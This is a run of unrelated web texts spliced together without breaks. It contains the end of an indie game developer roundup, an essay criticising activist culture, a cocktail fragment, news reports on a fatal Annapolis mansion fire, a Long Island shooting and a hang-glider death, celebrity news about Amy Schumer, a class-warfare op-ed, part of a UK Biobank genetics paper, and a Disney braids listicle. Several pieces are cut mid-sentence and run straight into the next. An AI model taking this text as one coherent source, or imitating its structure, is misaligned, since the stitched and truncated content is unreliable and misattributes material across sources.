Last but not least, finding our “own path”. We played and loved games for years and we both participated in large projects in that area. However, when we really started to dig into the indie scene we realized that there are lot of “Do’s and Don’ts” and many people have different but strong opinions about various aspects of indie game development. Questions like “shall we use Unity?”, “Do we offer InApp payment?”, “Will we integrate ads?” or “How hard can we make the game?” can get very complicated when you actually have to make them. We read a lot of blogs and talked with other developers. In many ways it felt like trying to build an opinion about a moral topic. Normally building an opinion is not a hard thing. However changing an opinion like “Do we offer InApp payment? yes/no” can have huge impact on your project design and throw your time schedule all over board if you are not careful and if you do care about the nature and integrity of your game.
All in all we are very close to release Nory’s Escape and even though the mobile stores are crowded we are really looking forward to the release. Marketing wise we count on our strong new game play concept, which feels untouched and fits perfectly into the mobile game area. We are looking forward to put Nory into smaller spotlights and then go bigger from there. Regardless of the numbers we are going to achieve with Nory’s Escape, for us it is already a hit.
Yohami Zerpa
NOWWA – Bullet Ville
Discovery. It’s hard to get people to know about your game, or in other words, the way it is now it requires connections and money. Tons of them. If you’re working on your first game and don’t have an existing following – acquiring it will take a long time and perseverance, posting on different sites, social media, maybe paying for advertising.
Working with people. Finding the right team to get things done is an art of itself, and managing a team is a completely different beast. The only reason I’m able to get Bullet Ville going is because I’ve been already doing games for clients for about 15 years and been in many positions on the chain of command. The larger the team the more difficult it becomes, and the less you know about a specific area the more likely it is you end up working with somebody who is not suited for the job.
Working on the right game and idea. The game you start is not the game you finish – and sometimes you don’t finish the game at all because a shinier idea pops in. That and scope creep – the fact that it’s easy to add more and more features with no clear direction on what the game is ultimately be like. Too many games get started and fail because of this.
So with these 3 laid down here’s what I would advise a newcomer:
– Find a simple game idea, come up with simple features, then slice that in half, come up with a minimum viable product that can be done by a small team of 2 or 3 people, preferably one programmer, one artist and one utilities guy.
– Find the perfect person for each task. This means you look into their portfolio and history, and their past work is exactly what you’re looking for. Not potential, not promises – but exactly what you need. If you’re doing a puzzle game, a programmer with a shooter background wont work. If you need country music, a composer with a classical background wont work. I can’t stress this enough. Get the perfect person for the task. The way to measure this is finding people who have excelled in the past at what you need currently.
– Create a website and spam every social media with every tiny progress you make on the game, so you start having a following. Post on twitter, facebook and youtube, cartridge, vine, instagram etc. Eventually contact the press. Once you have a working demo, send it to publishers. The feedback while this goes along is invaluable as it keeps you grounded, gives you a measure of what works and what doesn’t.
Henrik Johansson
Akjoman Entertainment – The Secret of Gillwood
The top 3 challenges for my game have been keeping the focus up and stay motivated during the course of the development! It´s so easy to move away and start thinking about new projects. There is not much new stuff that happens to the game when you been working on a game for 2.5 years!
Then it comes down to economy! It´s hard for me as the only
developer to do work full time because i have 0 budget for my game and that means that i have a part time job so i have to work with the game on my spare time! My goal is to be working full-time with Game development.
The last big challenge for me and the development have been my skills! I´m a Level Designer so i do not have the best programming skills and that have put the mechanics a bit back in the game but I do not think this game needs much mechanics to become a great game!
Federico Montoli
MoltenCore Games – Neon Drifter
Balancing the gamedev time on our lives. On our team we all have day jobs that are not related to game development and some of us also study, so, it was hard to keep in line all of this and add the game development there. But if you have passion and drive to make games, you can make time everyday to develop.
Gaining visibility without a publisher or being a known studio (the team is composed by just two people). We launched our game, published on social media and told our friends. I also wrote some mails to different android and mobile game pages and I am waiting their answer on the following days. And that’s pretty much it regarding our marketing and promotion methods.
Developing a simple and fun game, with our current technical knowledge (we just started a year ago as game developers), and on mobile platform, which is a market we do not know very well. It was hard for us to come up with an idea of game that could be made in 4 or 5 months, for mobile devices. Mainly because we at the studio are more PC gamers than mobile gamers.
Shant Tokatyan
My current project project is Dead City, which is a third person zombie shooter, and the first game I am developing for PC. I am having a blast working on this game, and I try not to think about the challenges in the development process (it becomes very tempting to say “Forget it, there is too much to do.”) But the helpful folks at RenGen Marketing have asked for the three biggest challenges that I have while working on Dead City. So here it goes:
Marketing
When I say marketing I mean everything not development related, for example: twitter posts, blog posts, and sharing new videos. Honestly, I enjoy getting the word out about Dead City, but it is hard to tell if the marketing efforts are paying off (or if I am even doing it correctly). Spreading the word about my game is a challenge, and if it is not done correctly then I will feel like I just painted a picture and threw it away after finishing.
Time
My current project is expensive, not just in terms of budget, but also in terms of actual time spent. On average I spend about 30 hours a week developing Dead City. Spending the time is not the problem, rather, finding the time is. The dilemma I always face is: should I get some sleep, or should I play some more Fallout.
Scale
It is easy to get carried away with ideas and end up with a game that will take years to make. I originally wanted to make a survival shooter, but that eventually morphed into wanting to make a story based game. I think that is fine, however, making the world for the story is a challenge of its own. For example, making the world for a story based game means spending two weeks (at the very least) to develop a part of a world that the player might not spend two minutes exploring. As a result, I have decided to go back to a survival shooter — something like a third person Black Ops Zombies and Borderlands crossover.
Are you ready to develop you next, or even first indie game?
We hope that this provides you some valuable insight into the indie game development process, and how each studio, or individual developer faces some of the same, as well as some very different obstacles along their challenging journey.
A huge thank you to all of the developers that participated in this roundup, and for those that took the time to read it all. Please share if you enjoyed!
Contact us, RenGen Marketing for Indie Games, if you would like to share your own experiences from developing your very own indie game.Having been part of the mainstream left for years––roaming between organizations, marching with various contingents in demonstrations, participating in social unionism in different ways, joining affinity groups, losing sleep over meetings––I have had enough time to grow increasingly frustrated with activist culture. It is unsurprising that so many activists either burn-out or turn into banal social democrats. Once I used to feel as if those who dropped out were guilty of political betrayal, but now it is difficult to see their decision as much more than a product of the culture cultivated by leftwing activism at the centres of capitalism.There is a rather particular attitude cultivated by activist culture. Infantile, self-righteous, judgmental, and above all a lack of self-criticism. By focusing on the problems with society (sometimes correctly, sometimes incoherently) it is easy to imagine that we are pure––smarter and better than the ignorant masses who often lack the same opportunities and time to be part of a largely student, academic, or at least upper strata (unionized) sectors of the working class. Often petty-bourgeois in the worst possible way, we focus on banal "anti-oppression" concepts that tend to preserve oppression and solidify divisions––the practice of criticism/self-criticism that is designed to create ideological and practical unity is treated as antiquated, unknown, or somehow "oppressive". We imagine that we are extremely critical rebels even when we adopt the most mainstream notions of rebellion, liberal ideology dressed up as radical.More importantly: we imagine that we arewhen we are nothing more than temporary rebels. Activism is far from revolution, and the left at the centres of capitalism is dominated byandgroups––NOT revolutionaries and revolutionary movements. The most popular and predictable activist strategies, which haven't changed or succeeded since the 1960s, are constantly re-imagined in an amnesiatic haze as "new" and "important". Serious revolutionary strategies, proven by history and still the concrete practice of those engaged in the most developed revolutionary struggles, are scornfully misunderstood by the semi-liberal and semi-anarchist ideology of those activists who disdain formal structure and foolishly imagine that their beautiful anti-vanguard spontaneity will one day succeed where it has always failed.(On a related note, it is worth checking out a recent Signalfire post complaining about activist obsessions with new theories that are neither new and are really only "tediously opportunist" and that echoed some of my own complaints, most recently the one about organization, in less long-winded manner. The author rightly concludes "revolutionary theory worthy of consideration is the product ofrevolutionary practice and nothing else. It's not a question of restricting oneself to a closed canon; we are happy to pay close attention to the writings of Amilcar Cabral, for example, because he.")Activist circles, always rotating but always the same despite arguments to the contrary, tend to be insipid little spaces where everyone imagines they are participating in something big and liberatory when they are [correction:] students playing at revolution. The spaces remain the same spaces that just self-replicate different versions of the same movement, never growing beyond a predominantly petty-bourgeois population; the strategies are different variations of previous strategies; no one has to ask the hard questions about what pursuing a revolution means because the strategies and ideology are such that both the questions and the answers are blocked by a pseudo-anarchist and semi-autonomist discourse of building coalitions, non-heirarchical structures, and unscientific/ahistorical metaphors that sound good but mean nothing (i.e. "we're all drops of rain and together we'll add up to a great flood of freedom").Moreover, the petty individualism and cliqueism fostered in the activist scene demonstrates the petty-bourgeois and opportunist boundaries of our politics. Those who use the right words, dress in the proper manner, chalk-up temporary arrests that everyone else has to work hard to fight, and who can generate the proper amount of activist cool are allowed to label themselves "revolutionary". But you're not revolutionary if you're playing the same tired activist game: if you're just organizing affinity groups, if your demos are about social democratic rights, if you're refusing to involve yourself in revolutionary discipline, if you're twisting identity politics discourses in order to hide the fact that your parents are wealthy and paying for your condo, if you are incapable of self-criticism, and if you have never once tried to work in a revolutionary structure that asks the hard questions, and tries to solve these questions, about revolutionary war and seizing state power.The first time I ever met a revolutionary I was shocked at the gap between our practice at the centres of capitalism and her practice on the peripheries. This was back when the revolution in Nepal was still at its apex, before the party had begun to demonstrate the degeneration that might now cause it to falter and die, and the revolutionary in question was Hisila Yami (Comrade Parvati) who was visiting Toronto to discuss the current moment in Nepal's revolution. Here was a revolutionary who had participated in a protracted peoples war, who had used her experience in this war to write revolutionary theory about gender and revolution, and her behaviour and attitude was alien to the pseudo-revolutionary subjectivity of the activists I had known. Humility and discipline, criticism and self-criticism, an unflinching attitude towards the need for communism, a unity of theory and practice, and most importantly a refusal to be arrogant when she was firm. Since then I have encountered and worked with other people with a similar stance, a professionalism towards revolution that does not reduce it to a student game, and I really hope that I can learn from these people so that one day I can shed my own petty-bourgeois activist ideology and practice which has become severely habitual.When I think back to the anti-globalization movement, and the 2001 FTAA protests in Quebec City, I am only appreciative of the fact that I was further radicalized. Thankfully my experiences in this movement eventually led me to ask why it produced nothing significant in a revolutionary sense, despite historically revisionist claims to the latter, and why a mass movement was incapable of doing anything except having multiple massive demonstrations and then falling apart on September 11, 2001. Here was a movement that had its leaders, though it pretended otherwise, an in-group of cliquish activists who imagined that they were revolutionary but who mistook revolution for running around in tear-gas and screaming that "the whole world is watching." If they were proper revolutionaries they would have tried to have some foresight, tried to turn this movement into something sustainable that could actually try and produce revolution––but if you aren't interested in the practical and concrete questions surrounding revolutionary struggle, the questions every significant revolutionary movement has had to ask and try to answer, and imagine it's just going to happen like a beautiful flood composed of unique raindrops, then you're not performing revolution. You're performing protest and activism, and maybe you should be blamed for having allowed a movement die because you wouldn't allow it to be properly structured.For your theory is not revolutionary if it tells you exactly what you want to believe: that |
dash orange bitters
Stir well with ice and strain into a chilled cocktail glass.
Crème Yvette—necessary to the fashioning of the second drink on this list—was off the market for 40 years when its manufacturer stopped production, and in its absence, those who wanted to turn their tongues Yale blue when wetting their beaks turned to this fluorescent atrocity. There are lot of incorrect ways to make a martini. The most popular include shaking and using vodka; the most spectacularly incorrect involves turning it the color of windshield washer fluid.(CNN) An electrical failure ignited a dry,15-foot-tall Christmas tree in a fire that destroyed an Annapolis, Maryland, mansion, killing four children and their grandparents, Anne Arundel County fire officials said Wednesday.
Technology executive Don Pyle; his wife, Sandra; and four grandchildren died in what Bureau of Alcohol, Tobacco, Firearms and Explosives agent Bill McMullan called "a tragic accident that occurred at the worst possible time while the Pyles and their grandchildren were sleeping."
"The involvement of the Christmas tree explains the heavy fire conditions," Fire Chief Allan Graves said at a news conference.
The grandchildren have been identified as Alexis (Lexi) Boone, 8; Kaitlyn (Katie) Boone, 7; Charlotte Boone, 8; and Wesley (Wes) Boone, 6. They were the children of Sandra Pyle's sons, Randy and Clint Boone.
"While the explanation that has been shared with us today does not bring solace, it does start us down the long road to acceptance," a statement Wednesday from the Boone and Pyle families said. "Our tragedy has touched many lives in many families, and, in different degrees, is shared by each of us. Our hope is that our loss will raise awareness that this tragic event could happen to any family. "
Tree cut down two months prior
The blaze started in the waterfront mansion's great room, with 19-foot ceilings and connections to living and sleeping areas. It was fed by a towering Christmas tree that was cut about two months earlier, fire officials said.
The tree was lit most of the time, officials said.
"The fuel load from the Christmas tree itself is what created the significant amount of fire and heat to cause the fire to spread as quickly as it did," Deputy Chief Scott Hoglander said.
Authorities were alerted within minutes by a fire-alarm system monitored outside the home and a neighbor's 911 call. The home, which was constructed before 2005 legislation requiring a sprinkler system, did not have the devices.
"We're very comfortable that this was an accidental fire," Graves said.
Sandy and Don Pyle died along with their four grandchildren in the fire.
The medical examiner's office positively identified the victims, officials said. Five bodies were recovered in the days after the fire; the final one on Monday.
The children were visiting their grandparents for a sleepover because January 19 was a school holiday, a family spokeswoman said.
Charlotte Boone, 8, is among the four grandchildren who died in the fire.
"We believe that life is about making memories. As we work through our pain and loss, the memories we made with our family will sustain us," the families' statement said.
Officials said they were still conducting tests to determine the exact sequence of events, but believe the fire was sparked by a faulty electrical outlet.
Smoke detectors in homes are common but fire sprinklers are not, says the Federal Emergency Management Agency. Fire sprinklers reduce the death rate by 83%, property damage by 69% and firefighter injuries by 65%.
Fires in homes are responsible for more than 80% of fire deaths in the United States, according to the agency.
Wesley (Wes) Boone, 6, died in the fire.
Christmas tree fires are three times more deadly than home fire in general, according to the National Fire Protection Association.
Local and federal officials last week secured the structure and accessed the foundation of the 16,000-square-foot house. Cadaver dogs led them to the bodies, officials said.
Authorities were initially treating the house as a crime scene. Officials said it is standard procedure for a case such as this and no evidence has been found to indicate suspicious activity.
The house belonged to Pyle, chief operating officer for ScienceLogic, and his wife, Sandra, company spokesman Antonio Piraino said.
JUST WATCHED 'Suspicious' fire engulfs mansion, 6 missing Replay More Videos... MUST WATCH 'Suspicious' fire engulfs mansion, 6 missing 01:52
The sheer size of the structure and the fact that three-fourths of the building had collapsed into the basement, with deep piles of debris still smoldering days after the blaze, compounded the search, Anne Arundel County Fire Capt. Robert Howarth said. He led the investigation along with a team from the federal Bureau of Alcohol, Tobacco, Firearms and Explosives.
"You're looking at five standard houses put together," he said last week. "This is more of a commercial fire than it is a residential fire. There are a lot of businesses that aren't 16,000 square feet. That adds to it."
Fire officials said they were alerted to the fire about 3:30 a.m. January 19. About 80 firefighters responded.
The ATF national response team responded because the fire was deemed suspicious, Howarth said.
The fire department said crews had difficulty putting out the fire because the house is secluded, apparently with no fire hydrants on the scene.
Fire crews had difficulty battling the blaze because the house is so secluded.
Photos the fire department posted on Twitter showed hoses stretched for long distances. Davies said it took hours for fire department tanker trucks and a fire boat on an adjacent creek to bring the fire under control.A day after being shot in the head by a masked gunman, Gary Melius, a well-known Long Island developer and prominent political patron, was recovering on Tuesday, and remarkably lucid.
He issued a statement about his “near-death experience,” and talked to the police. But he could not provide the answer to the question they both wanted to know: Who shot him?
Mr. Melius, 69, told the police that he did not know or recognize the masked gunman who ambushed him outside his opulent estate, the Oheka Castle on Long Island’s Gold Coast. So on Tuesday, detectives continued their pursuit of the shooter and of any clues as to who might have had a motive to carry out the midday attack.
Could it have been tied to his role as a political power broker? Mr. Melius has donated hundreds of thousands of dollars to both Democrats and Republicans over the years. His Monday night poker games, held at the castle in Huntington, drew the famous and the well-connected, and his circle of intimates included senators, congressmen and local politicians.She may be dating boyfriend Ben Hanisch, but the most important man in Amy Schumer‘s life is her father Gordon.
Schumer, 34, shared a sweet photo of her real-life father and Trainwreck dad Colin Quinn on Instagram Thursday, for double the fatherly love.
“Good friends cereal box,” she captioned the happy photo, referencing to the chummy front side of the Kashi breakfast food.
She later posted a video of the get-together, in which her father jokes to his daughter, “You could have taken a limo out from the city, you know?”
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In the autobiographical comedy, written by the Inside Amy Schumer star, Quinn, 56, plays a character named Gordon, based on Schumer’s father.
When Schumer was 12, her father was diagnosed with multiple sclerosis, and his successful company went bankrupt. Soon after, the family, including her older brother Jason and younger sister Kim, relocated to Long Island, before her parents split up.
“It was Hunger Games,” Schumer told EW. “I was like, ‘I’ll take it from here.’ I tried to make everything okay by making everyone laugh about how horrible things were. It kept us alive.”
Quinn prepared for his part in the Judd Apatow-directed movie by meeting Gordon, who lives in an assisted living facility, two times.
“I got the fact that the guy was a wild guy back in the day. Like a real, full-of-life kind of guy. Now, he couldn’t really move,” Quinn said of meeting his real-life counterpart. “He got MS in his early 40s. So it was dealing with a guy who had this life and then suddenly, he s still there but he can’t get out there. That s where it starts.”
In the film, Schumer plays a journalist, named Amy, at a men’s magazine terrified by the idea of monogamy. While on assignment, she sleeps with a sports doctor (Bill Hader), who immediately falls for her and wants to settle down. Schumer’s movie persona also has a father with MS (Quinn) and a younger, married sister (Brie Larson) who’s also her best friend.On Monday, defending his plan to raise taxes on the rich to pay for job creation, President Obama said: “This is not class warfare, it’s math.”
No, Mr. President, this is class warfare — and it’s a war you’d better win. Corporate interests and the rich started it. Right now, they’re winning. Progressives and the middle class must fight back, and the president should be clear whose side he’s on.
The class war began in 1971. That year, soon-to-be Supreme Court justice Lewis F. Powell Jr. wrote a confidential memorandum to a friend at the U.S. Chamber of Commerce about the “Attack of the American Free Enterprise System.” In the mid-20th century — from the New Deal to Social Security to environmental and civil rights laws — the government had cut into corporate profits while creating middle-class prosperity. Falsely believing that capitalism was under attack, Powell wrote: “It must be recognized that businessmen have not been trained or equipped to conduct guerrilla warfare with those who propagandize against the system.” His proposal, from which the modern conservative movement grew, was to equip business elites for that battle with aggressive policies to make Americans believe that what’s good for wealthy chief executives is good for them, too.
Between 1979 and 2007, the income gap between the richest 1 percent of Americans and the poorest 40 percent more than tripled. Today, the richest 10 percent of Americans control two-thirds of the nation’s wealth, while, according to recently released census data, average Americans saw their real incomes decline by 2.3 percent in 2010. Though our economy grew in 2009 and 2010, 88 percent of the increase in real national income went to corporate profits, one study found. Only 1 percent went to wages and salaries for working people.
Last year, American companies posted their biggest profits ever, and bonuses for bank and hedge fund executives not only reached record highs, but grew faster than corporate revenue. Meanwhile, almost one in 10 Americans is unemployed, and 15 percent live at or below the poverty level.
As a progressive activist who has marched against many wars, I try to avoid militant rhetoric. But only “class warfare” accurately describes a situation in which 400 people control more wealth than the poorest 150 million Americans combined. If “class warfare” isn’t the richest of the rich fighting tooth and nail against unions and any tax increases while record numbers of people lose their homes, what is?
While the revolutionary spirit is brimming around the globe, progressive activists have been stymied by the seeming complacency of Americans in the face of this obvious inequality. Effective protest doesn’t mean more of the usual suspects making more of the usual noise, as with the mostly young, white anarchists who targeted Wall Street this past week. It means unexpected people doing unexpected things to disrupt the status quo and mobilize public will for change. If we’re at war, it’s time to escalate.
In a peaceful disagreement, you might write letters to bank executives or march in front of the Capitol. But what about in a war? Imagine millions of Americans withholding mortgage payments to banks that refuse to adjust underwater loans. Imagine divestment campaigns to pressure public pension funds and universities to pull their money from the private sector and put it into government bonds. Imagine students staging sit-ins to protest teacher layoffs. Imagine families who have lost their homes squatting in vacant, bank-owned properties. Imagine a nationwide call to arms, as passionately nonviolent but as violently passionate as the pro-democracy movements sweeping the Arab world. After all, according to the CIA, income inequality in the United States is greater than in Yemen.
And imagine if this war between the rich and the rest of us defined the battle for the presidency in 2012. Some people might not be willing to stop paying the mortgage, but they could vote their conscience. The notion that Democrats have abandoned the working class fueled anti-union, pro-tea-party sentiment in the 2010 elections. Yet Republicans have made clear that they would rather cut Social Security and Medicare benefits than raise taxes on the rich or increase spending to help our economy. Initially, Obama conceded to the right and cut taxes. Now, he says he wants to raise them. The president must show us not only that he’s willing to fight, but that he’s willing to fight for middle-class Americans. This may be his last chance to show voters what he’s made of.
Acknowledging and waging class warfare might not please the president’s biggest donors. After all, Goldman Sachs and J.P. Morgan Chase helped bankrollObama’s 2008 campaign. But standing for the middle class will never backfire with voters. Three out of four Americans support raising taxes on the richest of the rich. Even a majority of Republican voters favor such tax increases. With a once-popular president running for a second term, the Democratic Party must do the right thing. If it can’t now, when will it be able to?
At the Clinton Global Initiative conference in New York this past week, former president Bill Clinton said: “Whether you can win or not in a fight that’s worth fighting, get caught trying.” Instead of denying that there’s a class war in America, Obama must come out swinging for the good guys. History — and voters — will catch him in the act and reward him. And millions of Americans could be inspired to try, in their own way, to topple our economy’s brutal inequality.
The good news is that Obama may be coming around. Later in the week, he got more aggressive. “If asking a billionaire to pay the same rate as a plumber or a teacher makes me a warrior for the middle class, I wear that charge as a badge of honor,” he said.
Yes, it’s class warfare. Which side are you on?
sally@movementvision.org
Sally Kohn is a political commentator and grass-roots strategist.
Read more from Outlook, friend us on Facebook, and follow us on Twitter.By Douglas W. Motley
A 64-year-old hang glider pilot perished on Wednesday, June 29 when his hang glider struck a pine tree shortly after lifting off from the Crestline Soaring Society Glider Launch site located at the end of Playground Drive in Crestline.
Authorities on Friday, July1 identified the deceased hang glider pilot as Larry Heider, a resident of Corona. “He was killed instantly,” said San Bernardino County Fire Department Captain Daniel Nelson.
Firefighters and paramedics surrounded the tree as a paramedic ascended a ladder to assess the situation. The deceased pilot’s body, which was lodged between branches approximately 20 feet up in the tree, was then lowered to the ground with the assistance of a rope apparatus.
An eyewitness at the scene told The Alpenhorn News that he and his father were returning to their Lake Arrowhead home when they decided to check out the hang gliding launch site they had heard so much about. The son, who did not want to be identified, said they had talked to the hang glider pilot for about 20 minutes before he lifted-off from the over 5,000-foot high launching site overlooking Cal State San Bernardino. “He took off, caught an updraft, did a 180 and then hit the tree,” the witness said. The father added that the entire incident happened in a matter of four or five seconds.
A nearby neighbor said the father and son came to his door to inform him of the incident and call 9-1-1 for help. According to the unidentified neighbor, Central Dispatch had no idea where Playground Drive was located and said they could not respond without an address for the location. The neighbor gave his address, and shortly after fire and sheriff’s units began arriving.
The San Bernardino County Sheriff’s Department, which is investigating the crash, said they think at this time Heider lost control of his hang glider upon take off. They will issue a full report after the investigation is completed.
The neighbor said there had been many previous rescues of hang glider pilots that had become entangled in trees at and near the launch site over the 25 years he has lived nearby. He said the last fatal incident there occurred about eight or ten years ago.The present study has combined the power of UK Biobank’s very large genotyped and cognitively tested sample with the summary results of 24 large international GWAS consortia of physical and mental disorders and health-related traits. Two methods—LD score regression and polygenic profile scoring based on previous GWAS findings—discovered extensive cognitive–health pleiotropy and showed that it can be used to predict phenotypic variance between GWAS data sets. Our results provide comprehensive new findings on the overlaps between phenotypic cognitive ability levels, genetic bases for health-related characteristics such as height and blood pressure, and liabilities to physical and psychiatric disorders even in mostly healthy, non-diagnosed individuals. They make important steps toward understanding the specific patterns of overlap between biological influences on health and their consequences for key cognitive abilities. For example, some of the association between educational attainment—often used as a social background indicator—and health appears to have a genetic aetiology. These results should stimulate further research that will be informative about the specific genetic mechanisms of the associations found here, which likely involves both protective and detrimental effects of different genetic variants.
Findings for polygenic risk for coronary artery disease were not confounded by individuals with a diagnosis of cardiovascular disease, findings for type 2 diabetes were not confounded by individuals with a diagnosis of diabetes and findings for systolic blood pressure were not confounded by individuals with a diagnosis of hypertension. These results indicate that even in healthy individuals, being at high polygenic risk for coronary artery disease, type 2 diabetes or high blood pressure is associated with lower cognitive function and lower educational attainment.
Using LD score regression, we quantified for the genetic correlations from molecular genetic evidence between tests of cognitive ability and a wealth of health and anthropometric traits in over 100 000 individuals. As shown in Table 2, verbal-numerical reasoning and educational attainment showed a greater degree of pleiotropy than reaction time and memory, with many of the health and anthropometric variables studied here. Novel genetic correlations were quantified between cognitive function, using verbal-numerical reasoning, and schizophrenia, Alzheimer’s disease and ischaemic stroke. It has not escaped our notice that there are multiple possible interpretations of these genetic correlations. Not only might particular genes contribute both to cognitive and health-related traits, but genetic variants relating to health conditions could have indirect effects on cognitive ability (for example, via medications used to treat disorders), and vice versa (for example, via cognitively associated lifestyle choices). See Solovieff et al.17 for discussion of these issues of causality and pleiotropy.
Perhaps counter-intuitively, our results indicated that the genetic variants associated with obtaining a college degree were also related to higher genetic risk of schizophrenia, bipolar disorder and autism, which for bipolar disorder and autism support the findings from a previous study.15 For the cognitive tests, only polygenic risk for autism was related with higher cognitive ability, in agreement with a previous study.28 Genes related to bipolar disorder were negatively related to all of the cognitive tests, and genes related to schizophrenia even more so. Previous epidemiological studies indicate that both very high and very low educational achievement is associated with an increased risk of bipolar disorder29 and high polygenic risk of schizophrenia and bipolar disorder were recently associated with higher levels of creativity.30 The discrepancy between the cognitive and educational results may be explained by the age of the participants: if schizophrenia genes are detrimental to cognitive functioning only later in life, they may have differential effects on educational attainment, which tends to peak before age 30, and the cognitive tests, which were taken in UK Biobank at an average age of 56.9 years. It should also be noted the UK Biobank sample consists of individuals who are, on average, older than those in most schizophrenia genetic studies, have a higher level of education and are of a higher social class. It is also likely to have been the case that individuals in middle age with a history of serious mental illness will have been less likely than those without such a history to volunteer as UK Biobank participants. These demographic and clinical factors might have contributed to apparently contradictory findings with respect to cognitive function and previous educational attainment.
The educational attainment variable demonstrated pleiotropy with 20 of the 24 health-related variables, indicating that the genetic variants that collectively act to facilitate an individual’s progress through the educational system to degree level make important contributions to many important health outcomes. One explanation for this is that the educational attainment variable shows the greatest degree of pleiotropy with general cognitive ability in childhood with a genetic correlation of 0.906. This could indicate that it is genes related to cognitive ability early in life that are responsible for the pleiotropy with health variables: educational attainment, therefore, might act as a proxy phenotype for general cognitive ability, as others have demonstrated.8
The significant genetic correlations across traits enabled the use of polygenic profile scores to predict phenotypic cognitive variance in the UK Biobank sample. The amount of variance explained by the polygenic profile scores for each UK Biobank cognitive phenotype is small, as would be expected by the fact that not all SNPs were genotyped, and those that were do not necessarily accurately tag the causal genetic variants. The multivariate polygenic risk score analyses showed that additional variance can be accounted for when the polygenic liabilities of multiple disorders and traits are combined; this implies that there are risk alleles unique to each disorder and trait that affect cognitive and educational traits.
The results of the present study are supported by a previous study examining the genetic associations between polygenic profile scores for psychiatric and cognitive traits, and many phenotypic traits, showing comparable directions of effect.16 However, owing to the much smaller sample size (3000 versus 112 000 in the present study), the previous study yields insufficient power to detect several of the associations found in the present study. The same previous study also supported the results of the LD regression analyses of the present study between several psychiatric and cognitive traits, but the following traits show novel associations with cognitive ability and educational attainment in the present study: ischaemic stroke, infant head circumference and years of education.
The polygenic profile analysis replicated previous, smaller studies that showed associations between higher cognitive function and higher polygenic risk for autism28 and lower polygenic risk for schizophrenia21 and stroke.22 We did not replicate the previous finding that higher cognitive function is associated with higher type 2 diabetes genetic risk,31 but we did find that higher type 2 diabetes genetic risk is associated with decreased likelihood of obtaining a college degree. Unlike a previous small, underpowered, study23 we found that higher polygenic risk for Alzheimer’s disease is associated with lower cognitive function.
To the extent that these genetic associations between cognitive and health measures are explained by shared genetic influences, they support the theoretical construct of bodily system integrity.32 System integrity was formulated as a latent trait which is manifest as individual differences in how effectively people meet cognitive and health challenges from the environment, and which has some genetic aetiology. Although it is recognized that some illnesses will cause changes in cognitive functions, system integrity suggests, in addition, that there is shared variance in how well different complex bodily systems operate and that this underlies correlations between higher cognitive functioning and good health and longevity.
The present study has a number of strengths. First, the large sample size of UK Biobank (N>100 000) affords powerful, robust tests of genetic association. Second, the participants took identical cognitive tests, which were always administered in the same computerized fashion, reducing any potential bias owing to heterogeneity in test content and administration. Third, all of the UK Biobank genetic data were processed in a consistent matter, on the same platform and at the same location. Fourth, our use of summary data from a large number of international GWAS studies allowed a comprehensive and detailed examination of shared genetic aetiology with cognitive ability across a wide range of health-related phenotypes, producing many of the first estimates of the genetic correlation between traits.
The present study has some limitations. The three cognitive tests were brief, bespoke measures. However, they covered three major cognitive domains (reasoning, processing speed and memory), showed acceptable internal consistency and had validity in that they showed the expected correlations with one another and with age and educational attainment.33, 34 The verbal-numerical reasoning test has types of item that are the same as those found in tests of general cognitive ability. In addition, verbal-numerical reasoning and educational attainment showed strong genetic correlations (0.812 and 0.906, respectively) with childhood general cognitive function. This suggests that the variance in these traits is largely the product of the same genetic variants that underpin general cognitive function. The GWAS studies we curated to perform LD score regression and extract the polygenic profile scores were often consortia studies, involving meta-analyses across data sets with substantial heterogeneity in sample size, genome-wide imputation quality and phenotypic measurement. We expect that, with larger and more consistent independent data sets, we would be able to use the polygenic profile scores to predict more variance in cognitive test performance. Some of the GWAS consortia studies did not have ethical approval to be used for genetic correlation and polygenic profile scoring analyses associated with education, meaning that we were unable to estimate a few correlations. Clustering in genetic population structure meant that we restricted the genotyped samples to individuals of white British ancestry. Our results thus need to be replicated in large samples of different genetic backgrounds; the sample sizes available in UK Biobank were not large enough for us to model, with adequate power, data from UK Biobank individuals of other ancestries.
The best method for showing pleiotropy using GWAS data would be to obtain the genome-wide significant hits from two GWAS and correlate the effect sizes. However, there are two reasons why this is suboptimal at present. The first reason is that many significant SNP hits are needed in multiple GWAS data sets, which is currently not possible. The second reason is that GCTA has shown that many true associations do not reach statistical significance owing to low power, therefore, SNPs that do not attain statistical significance should also be considered. Both LD regression and polygenic profile score analyses provide the opportunity to use the full GWAS output to examine pleiotropy.
Because the optimum number of SNPs used to generate a particular polygenic profile can differ between traits, we created five profile scores per physical and mental health trait and tested each in a regression against each of the UK Biobank cognitive traits to determine the score that explained the greatest variance in each cognitive trait. We found that these did differ between different trait combinations, suggesting that the amount of shared genetic aetiology differs between different pairs of traits. However, as pleiotropy was quantified using LD score regression to perform a single test for each pair of phenotypes, the multiple testing problems associated with the polygenic profile score method did not confound the estimates of pleiotropy shown here. Although the estimate of phenotypic variance explained by the polygenic profile method was small, this should be considered as the minimum estimate of the variance explained. Owing to pruning SNPs in LD, the PGRS method makes the assumption of a single causal variant being tagged in each LD block considered. If this assumption is not true for the phenotypes considered, the proportion of variance explained will be underestimated here.With spring in full swing and the great outdoors calling, we’ve been thinking a lot about hairdos that combine style and functionality. Easily topping this list are braids. Whether it’s a simple three-strand, French, or a fishtail, a braid is an easy way to tame the wildest of hair on windy days and maintain a polished look throughout the day. Who better to turn to for inspiration than the iconic Disney characters that sport them?
Including everything from Anna and Elsa’s Scandinavian ‘dos to Rapunzel’s elaborate plait, we’ve prepared a collection featuring the best of the best. Scroll through the styles below and find your next favorite.
Anna and Elsa
We may as well start with the most obvious dynamic-braided-duo—Anna and Elsa from Frozen. With Anna sporting two simple braids and Elsa wearing her hair in an elegant textured French, these sisters have their plaited looks down pat.
Anna goes above and beyond with her coronation up-do, a milkmaid braid that twists (forgive the pun) her signature braided-look into a look fit for a party.
Jessie
Hat hair has always been an issue for me. Here, Jessie’s cowgirl hairstyle presents the perfect fix! Almost as iconic as her lasso, her braid—finished with a bright yellow bow that contrasts her red, yarn hair—keeps her hair in place throughout her many adventures.
Rapunzel
We mention this every time her hair comes up, but it bears repeating: Rapunzel’s blonde locks stretch 70 feet long! Any braid that can contain that mass of hair more than earns its place in a list of Disney’s best braids. The wildflowers take it to the next level by adding a touch of color as bright as Rapunzel herself.
Can we also take a moment to appreciate the young girls braids, too? On the left, the tallest child wears a Dutch braid, while the smallest on the right rocks four. It’s no wonder these girls were able to style Rapunzel’s hair with ease.
Cinderella
